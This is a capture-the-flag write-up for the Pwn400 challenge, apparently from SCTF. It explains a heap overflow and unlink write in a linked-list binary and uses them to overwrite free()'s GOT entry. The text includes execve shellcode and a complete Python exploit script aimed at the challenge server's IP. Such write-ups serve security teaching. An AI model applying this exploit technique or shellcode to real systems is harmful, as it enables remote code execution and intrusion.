Similar with Pwn200, Pwn400 gave us a binary file, but no libc.so. Open it with IDA Pro and analyze it, we found some information:
First, there’s a data structure ( let’s call it node ) which look like this:
1
2
3
4
5
6
7
8
9
struct node{
node *this; // the address of this node
node *prev; // the address of the previous node
node *next; // the address of the next node
char title[64];
char type[32];
char content[256];
};
In this program, we’re allow to:
- New a node
- Show a node’s address ( yep, no need to leak it! )
- Edit a node’s content
- Delete a node (by giving its address)
Notice that we can ovewrite a node’s data by overflowing its previous node’s content. Moreover, after checking the function of deleting a node, we found the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if ( *(_DWORD *)ptr == ptr )
{
if ( *(_DWORD *)a1 == ptr )
{
*(_DWORD *)a1 = *(_DWORD *)(*(_DWORD *)a1 + 8);
}
else
{
if ( *(_DWORD *)(ptr + 8) )
{
/* the unlink vulnerability */
v1 = *(_DWORD *)(ptr + 8);
v2 = *(_DWORD *)(ptr + 4);
*(_DWORD *)(v2 + 8) = v1;
*(_DWORD *)(v1 + 4) = v2;
}
else
{
*(_DWORD *)(*(_DWORD *)(ptr + 4) + 8) = 0;
}
}
write(1, "succeed!\n\n", 0xAu);
free((void *)ptr);
}
The vulnerability’s obvious: Heap overflow, except it use its own data structure.
Since it doesn’t enable the DEP protection, we can store our shellcode in a known memory address (which is, in this case, a node’s content), then exploit the heap overflow vulnerability, by overwriting free()
’s GOT, let the function pointer point to our shellcode.
For instance:
1
2
3
4
5
6
//free's GOT entry: 0x0804a450
v1 = node->next // 0x0804a44c, because 0x0804a44c+4 = 0x0804a450
v2 = node->prev // shellcode's address
*(_DWORD *)(shellcode's address + 8) = 0x0804a44c ; //4 bytes of shellcode will be overwritten
*(_DWORD *)(0x0804a450) = shellcode's address; // overwrite free()'s GOT
Note that 4 bytes in shellcode will be overwritten, so we’ll have to use jmp relative
to skip those 4 bytes machine code. Here’s my shellcode:
1
2
3
4
5
"\x90\x90\x90\x90\x90\x90"+ # NOP
"\xeb\x08"+ # skip 8 bytes
"AAAA"+ # overwritten part
"\x90"*10+ # NOP
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80" # shell
So here’s the exploitation:
- New 3 nodes: node1, node2 & node3
- Store the shellcode in node3’s content
- Get the address of node3 & node2, calculate the shellcode’s address
- Edit node1, overwrite node2’s prev & next by overflowing node1’s content
- Delete node2, overwrite
free()
’s GOT, execute the shellcode & capture the flag
Here’s the python script. Due to the connection problem, it has to wait 1 second before it recieve server’s response.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from socket import *
import time
import binascii
sock = socket(AF_INET, SOCK_STREAM)
sock.connect(("218.2.197.248", 10003))
shell = "\x90\x90\x90\x90\x90\x90"+"\xeb\x08"+"AAAA"+"\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80"
print sock.recv(1024)
#insert node1
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
#insert node2
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
print sock.recv(1024)
#insert node3
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send(shell+"\n") #write shellcode to node3's content
time.sleep(1)
print sock.recv(1024)
#show node 3 address
sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send("3\n")
time.sleep(1)
res = sock.recv(1024)
print res
#calculate shellcode's address
index = res.index("0x")
temp = res[index:index+10:]
shellcode_addr = int(temp, 16)+108
print "shellcode address: ", hex(shellcode_addr)
shellcode_addr_str = binascii.a2b_hex(hex(shellcode_addr)[2:10:].zfill(8))
print shellcode_addr_str
#show node 2 address
sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
res = sock.recv(1024)
print res
index = res.index("0x")
temp = res[index:index+10:]
address = int(temp, 16)
del_addr = hex(address)[2::]
print "node2 address:", del_addr
node2_addr_str = binascii.a2b_hex(hex(address)[2:10:].zfill(8))
print node2_addr_str
#BBBB: offset
#free()'s GOT: 0x0804a450, we send 0x0804a44c
exploit = "A"*256+"BBBB"+node2_addr_str[::-1]+shellcode_addr_str[::-1]+"\x4c\xa4\x04\x08"
#edit node 1
sock.send("4\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send(exploit+"\n") #overflow node1's content
time.sleep(1)
print sock.recv(1024)
#delete node 2
sock.send("5\n")
time.sleep(1)
print sock.recv(1024)
sock.send(del_addr+"\n")
time.sleep(1)
print sock.recv(1024)
sock.send('cat /home/pwn3/flag/flag\n') #capture the flag
time.sleep(1)
print sock.recv(1024)
sock.close()
The “BBBB” in the exploit is a 4 bytes data between each node. It actually is the meta data of a chunk. The free()
function will check the meta data before it free the memory of a node. If the meta data isn’t correct, the program will crash. But since we overwrite free()
’s GOT, that meta data’s no longer a problem.
flag: SCTF{2318540E78446A0E84EF69685092F0C3}
Comments powered by Disqus.